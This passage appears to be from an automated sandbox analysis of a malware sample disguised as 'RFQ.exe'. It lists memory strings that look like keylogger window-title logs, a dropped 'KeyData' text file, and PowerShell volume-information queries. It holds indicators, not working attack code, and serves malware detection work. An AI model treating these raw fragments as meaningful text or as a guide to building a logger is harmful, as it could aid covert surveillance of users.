Source: wOPQRmK.exe, 0000000D.00000002.2129021812.0000000001465000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:34:37]<Program Manager>>
Source: wOPQRmK.exe, 0000000D.00000002.2129021812.0000000001465000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: :16]<<Program Manager>>
Source: wOPQRmK.exe, 0000000D.00000002.2129021812.0000000001465000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: :33:52]<<Program Manager>>
Source: wOPQRmK.exe, 0000000D.00000002.2129021812.000000000142E000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2131523146.0000000004158000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2129021812.00000000013D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:33:28]<<Program Manager>>
Source: RFQ.exe, 00000007.00000002.2131302592.0000000003F65000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: :50]<<Program Manager>>
Source: RFQ.exe, 00000007.00000002.2128472558.00000000010F5000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2129021812.000000000142E000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2129021812.00000000013D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:33:27]<<Program Manager>>
Source: RFQ.exe, 00000007.00000002.2128472558.0000000001139000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:34:42]<<Program Manager
Source: RFQ.exe, 00000007.00000002.2128472558.0000000001139000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2128472558.00000000010F5000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2133711770.00000000084C3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:34:37]<<Program Manager>>
Source: RFQ.exe, 00000007.00000002.2128472558.0000000001139000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113--:15]<<Program Manager>>
Source: RFQ.exe, 00000007.00000002.2131302592.0000000003EF8000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2131302592.0000000003ED0000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2131302592.0000000003F8C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:35:03]<<Program Manager>>
Source: RFQ.exe, 00000007.00000002.2128472558.0000000001108000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:34:11]<<Program Manager>>*A
Source: RFQ.exe, 00000007.00000002.2131302592.0000000003ED0000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2128472558.0000000001139000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2129021812.0000000001465000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:33:32]<<Program Manager>>
Source: RFQ.exe, 00000007.00000002.2128472558.0000000001139000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:35:12<<Program Manager>>
Source: RFQ.exe, 00000007.00000002.2131302592.0000000003ED0000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2128472558.0000000001139000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2128472558.00000000010E7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:33:54]<<Program Manager>>
Source: wOPQRmK.exe, 0000000D.00000002.2129021812.000000000142E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:33:51]<<Program Manager>>Yn
Source: RFQ.exe, 00000007.00000002.2131302592.0000000003ED0000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2128472558.0000000001139000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2128472558.00000000010E7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:33:55]<<Program Manager>>
Source: RFQ.exe, 00000007.00000002.2128472558.00000000010F5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 34:13]<<Program Manager>>3:
Source: RFQ.exe, 00000007.00000002.2131302592.0000000003F46000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2129021812.00000000013D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: <Program Manager>>
Source: wOPQRmK.exe, 0000000D.00000002.2131523146.0000000004158000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ]<<Program Manager>>
Source: wOPQRmK.exe, 0000000D.00000002.2129021812.00000000013D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: $.NET CLR 3.5.30729Program Manager>>
Source: RFQ.exe, 00000007.00000002.2131302592.0000000003F65000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 33:49]<<Program Manager>>
Source: wOPQRmK.exe, 0000000D.00000002.2131523146.0000000004119000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 7]<<Program Manager>>
Source: wOPQRmK.exe, 0000000D.00000002.2129021812.0000000001465000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:35:06<<Program Manager>>
Source: RFQ.exe, 00000007.00000002.2128472558.0000000001139000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2131302592.0000000003F65000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2129021812.0000000001465000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:34:08]<<Program Manager>>
Source: RFQ.exe, 00000007.00000002.2131302592.0000000003EF8000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2128472558.0000000001139000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2133711770.00000000084C3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:34:42]<<Program Manager>>
Source: wOPQRmK.exe, 0000000D.00000002.2129021812.0000000001465000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:34:23]<<Program Manager>
Source: RFQ.exe, 00000007.00000002.2131302592.0000000003FAD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager352#
Source: wOPQRmK.exe, 0000000D.00000002.2129021812.00000000013D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: .NET4.0C0.307290:33:25]<<Program Manager>>
Source: wOPQRmK.exe, 0000000D.00000002.2129021812.0000000001465000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2131523146.00000000041B0000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2129021812.0000000001454000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:34:43]<<Program Manager>>
Source: RFQ.exe, 00000007.00000002.2128472558.0000000001139000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2129021812.0000000001465000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:34:08]<<Program Manager>
Source: RFQ.exe, 00000007.00000002.2128472558.0000000001108000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2128472558.00000000010F5000.00000004.00000020.00020000.00000000.sdmp, KeyDataINnKnVhp.txt.7.dr	Binary or memory string: [10:33:11]<<Program Manager>>
Source: RFQ.exe, 00000007.00000002.2128472558.0000000001139000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:35:12]<Program Manager>>
Source: RFQ.exe, 00000007.00000002.2131302592.0000000003ED0000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2128472558.0000000001139000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2129021812.0000000001465000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:33:33]<<Program Manager>>
Source: RFQ.exe, 00000007.00000002.2131302592.0000000003F65000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: URL Moniker Notification Window]<<Program Manager>>
Source: wOPQRmK.exe, 0000000D.00000002.2129021812.0000000001465000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2131523146.00000000040D9000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2129021812.0000000001424000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:35:06]<<Program Manager>>
Source: wOPQRmK.exe, 0000000D.00000002.2129021812.00000000013D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: LC:\Users\user\AppData\Local\Adobe33:16]<<Program Manager>>
Source: RFQ.exe, 00000007.00000002.2128472558.0000000001108000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2128472558.00000000010F5000.00000004.00000020.00020000.00000000.sdmp, KeyDataINnKnVhp.txt.7.dr	Binary or memory string: [10:33:12]<<Program Manager>>
Source: RFQ.exe, 00000007.00000002.2131302592.0000000003ED0000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2128472558.0000000001139000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2129021812.0000000001465000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:33:34]<<Program Manager>>
Source: wOPQRmK.exe, 0000000D.00000002.2129021812.00000000013D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: $.NET CLR 3.0.30729<<Program Manager>>
Source: RFQ.exe, 00000007.00000002.2128472558.0000000001139000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113--3]<<Program Manager>>
Source: RFQ.exe, 00000007.00000002.2131302592.0000000003ED0000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2128472558.0000000001139000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2131302592.0000000003F65000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:33:56]<<Program Manager>>
Source: wOPQRmK.exe, 0000000D.00000002.2129021812.0000000001465000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2131523146.00000000041B0000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2129021812.0000000001454000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:35:05]<<Program Manager>>
Source: RFQ.exe, 00000007.00000002.2128472558.0000000001097000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: LC:\Users\user\AppData\Local\Commse}!\\<<Program Manager
Source: wOPQRmK.exe, 0000000D.00000002.2129021812.0000000001465000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2134088355.00000000045E3000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2131523146.00000000040C0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:33:57]<<Program Manager>>
Source: wOPQRmK.exe, 0000000D.00000002.2129021812.0000000001424000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:35:06]<<Program Manager>>s
Source: wOPQRmK.exe, 0000000D.00000002.2129021812.0000000001454000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:35:05]<<Program Manager>
Source: wOPQRmK.exe, 0000000D.00000002.2131523146.00000000040C0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113--4]<<Program Manager>>
Source: RFQ.exe, 00000007.00000002.2128472558.00000000010F5000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2131302592.0000000003F46000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2129021812.000000000142E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:33:24]<<Program Manager>>
Source: wOPQRmK.exe, 0000000D.00000002.2129021812.0000000001454000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:34:43]<<Program Manager>>W
Source: RFQ.exe, 00000007.00000002.2131302592.0000000003ED0000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2129021812.0000000001465000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113--:28]<<Program Manager>>
Source: RFQ.exe, 00000007.00000002.2131302592.0000000003ED0000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2128472558.0000000001139000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2128472558.00000000010F5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:34:23]<<Program Manager>>
Source: RFQ.exe, 00000007.00000002.2131302592.0000000003ED0000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2128472558.0000000001139000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2128472558.00000000010F5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:34:16]<<Program Manager>>
Source: RFQ.exe, 00000007.00000002.2131302592.0000000003F65000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 0:33:51]<<Program Manager>>
Source: RFQ.exe, 00000007.00000002.2131302592.0000000003EF8000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2128472558.0000000001108000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2133711770.00000000084C3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:34:40]<<Program Manager>>
Source: wOPQRmK.exe, 0000000D.00000002.2129021812.0000000001454000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:34:26]<<Program Manager>
Source: wOPQRmK.exe, 0000000D.00000002.2129021812.000000000142E000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2129021812.00000000013D8000.00000004.00000020.00020000.00000000.sdmp, KeyDataINnKnVhp.txt.7.dr	Binary or memory string: [10:33:30]<<Program Manager>>
Source: RFQ.exe, 00000007.00000002.2128472558.0000000001139000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 10:33:52]<<Program Manager>>
Source: wOPQRmK.exe, 0000000D.00000002.2129021812.0000000001465000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:33:35]<<Program Manager;z=qa?qa.userAgentData\|\|null:null;function A(a){return t?z?z.brands.some(function(b){return(b=b.brand)&&-1!=b.indexOf(a)}):!1:!1}function B(a){var b;a:{if(b=p.navigator)if(b=b.userAgent)break a;b=""}return-1!=b.indexOf(a)};function C(){return t?!!z&&0<z.brands.length:!1}function D(){return C()?A("Chromium"):(B("Chrome")\|\|B("CriOS"))&&!(C()?0:B("Edge"))\|\|B("Silk")};var ra=C()?!1:B("Trident")\|\|B("MSIE");!B("Android")\|\|D();D();B("Safari")&&(D()\|\|(C()?0:B("Coast"))\|\|(C()?0:B("Opera"))\|\|(C()?0:B("Edge"))\|\|(C()?A("Microsoft Edge"):B("Edg/"))\|\|C()&&A("Opera"));var sa={},E=null;var ta="undefined"!==typeof Uint8Array,ua=!ra&&"function"===typeof btoa;var F="function"===typeof Symbol&&"symbol"===typeof Symbol()?Symbol():void 0,G=F?function(a,b){a[F]\|=b}:function(a,b){void 0!==a.g?a.g\|=b:Object.defineProperties(a,{g:{value:b,configurable:!0,writable:!0,enumerable:!1}})};function va(a){var b=H(a);1!==(b&1)&&(Object.isFrozen(a)&&(a=Array.prototype.slice.call(a)),I(a,b\|1))}
Source: RFQ.exe, 00000007.00000002.2128472558.0000000001139000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:34:37]<<Program Manager>
Source: wOPQRmK.exe, 0000000D.00000002.2129021812.0000000001465000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113--:54]<<Program Manager>>
Source: RFQ.exe, 00000007.00000002.2131302592.0000000003F65000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 02]<<Program Manager>>
Source: RFQ.exe, 00000007.00000002.2128472558.0000000001139000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:34:23]<<Program Manager
Source: RFQ.exe, 00000007.00000002.2128472558.0000000001139000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2129021812.0000000001465000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113--:34:14]<<Program Manager>>
Source: wOPQRmK.exe, 0000000D.00000002.2129021812.0000000001465000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [0:34:44]<<Program Manager>>
Source: RFQ.exe, 00000007.00000002.2128472558.0000000001108000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2128472558.00000000010F5000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2131302592.0000000003F46000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:33:23]<<Program Manager>>
Source: RFQ.exe, 00000007.00000002.2131302592.0000000003FAD000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2131302592.0000000003ED0000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2128472558.0000000001139000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:34:15]<<Program Manager>>
Source: wOPQRmK.exe, 0000000D.00000002.2129021812.0000000001465000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2129021812.000000000142E000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2131523146.00000000040D9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:33:31]<<Program Manager>>
Source: RFQ.exe, 00000007.00000002.2131302592.0000000003EF8000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2128472558.0000000001108000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2133711770.00000000084C3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:34:41]<<Program Manager>>
Source: wOPQRmK.exe, 0000000D.00000002.2129021812.000000000142E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:34:14]<<Program Manager>>Sh

Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Users\user\Desktop\RFQ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
